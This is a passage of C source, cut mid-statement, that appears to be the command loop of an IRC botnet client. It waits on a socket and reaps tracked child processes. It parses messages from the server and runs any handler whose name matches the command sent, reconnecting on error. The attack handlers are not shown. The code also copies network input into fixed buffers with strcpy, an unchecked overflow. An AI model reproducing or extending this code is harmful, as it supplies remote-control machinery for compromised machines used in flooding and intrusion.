(select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa; for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) { unsigned int *newpids,on; for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];pids[on-1]=0; numpids--; newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); for (on=0;on<numpids;on++) newpids[on]=pids[on]; free(pids); pids=newpids; } if (FD_ISSET(sock,&n)) { char buf[4096], *str; int i; if ((i=recv(sock,buf,4096,0)) <= 0) goto sa; buf[i]=0; str=strtok(buf,"\n"); while(str && *str) { char name[1024], sender[1024]; filter(str); if (*str == ':') { for (i=0;i<strlen(str) && str[i] != ' ';i++); str[i]=0; strcpy(sender,str+1); strcpy(str,str+i+1); } else strcpy(sender,"*"); for (i=0;i<strlen(str) && str[i] != ' ';i++); str[i]=0; strcpy(name,str); strcpy(str,str+i+1); for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str); if (!strcasecmp(name,"ERROR")) goto sa; str=strtok((char*)NULL,"\n"); } } } return 0;}